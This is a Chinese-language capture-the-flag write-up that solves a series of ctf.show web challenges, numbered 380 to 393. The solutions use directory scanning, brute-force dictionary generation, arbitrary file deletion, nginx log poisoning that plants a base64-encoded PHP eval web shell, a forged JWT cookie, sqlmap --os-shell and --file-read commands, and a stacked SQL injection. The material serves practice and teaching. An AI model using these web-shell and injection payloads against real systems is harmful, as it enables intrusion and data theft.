文章目录
web380
payload
后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。page.php?id=flag
web381
payload
地址在源码里面
web382、383
还是上面的地址,万能密码登录得到flag
web384
字典生成
import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
for j in s1:
for k in s2:
for l in s2:
for m in s2:
p=i+j+k+l+m
f.write(p+"\n")
f.close()
登录的时候抓包爆破
几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123
web385
扫描后台得到/install
按照他说的访问install/?install
然后再去登录,如果大家上面题目用sql注入注出用户名密码会发现是admin admin888
登录就能得到flag了
web386
通过扫描后台发现clear.php和install
访问install
访问clear.php直接显示清理完成
盲猜一波file参数,删个index.php试试
哎呦还真可以
那直接把lock.dat删了,lock.dat在linstall下
剩下的就是上一题的重复了。
访问install/?install初始化账号密码
然后admin admin888登录
web387
接着扫描后台发现/debug,访问提示file not exit,那我们给他一个参数
存在文件包含,尝试包含日志,发现可以成功file=/var/log/nginx/access.log
那直接在UA里面写一句话就可以了,然后再包含日志
发现没成功,但是在源码里面看到如下内容,也就是传的参数没有被结束
那我们直接利用php吧dat文件删除是不是就可以了。
写入如下内容
<?php unlink('/var/www/html/install/lock.dat')?>
然后再去访问install/?install,发现确实成功了。
剩下的就是登录拿flag了。。
388
非预期解,可以写日志但是做了一些限制,所以绕过就好了。
payload:
import requests
import base64
url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"
url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)
预期解参考视频https://www.bilibili.com/video/BV16A411W7GP
web389
在上题的基础上整了个jwt伪造
类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737
然后将得到的jwt串放到脚本中
import requests
import base64
url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"
url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd),
'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)
web390
在page.php页面存在sql注入
sqlmap一句话搞定python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
web391
注入点不在page.php了,在输入标题的地方(随便点个页面就能看到)
继续sqlmappython sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch
web392
flag在/flagpython sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell
web393
还是先用原来的方法直接进到shell里面,发下不行,读文件也不行,然后试了下–sql-shell可以成功。
但是也是无法使用load_file 和outfile。那我们看下和上个题的界面有哪些不同。
在最后面发现有个搜索引擎
随便访问一个发现其实是读取的百度的前端代码。那么如果把地址改成file:///flag,或者自己再添加一个url是不是就可以了。
先利用sqlmap跑出来数据库的表名列名
payload:search.php?title=1';insert into link values(10,'a','file:///flag');
(在search.php页面存在堆叠注入)
然后访问link.php?id=10
就能得到flag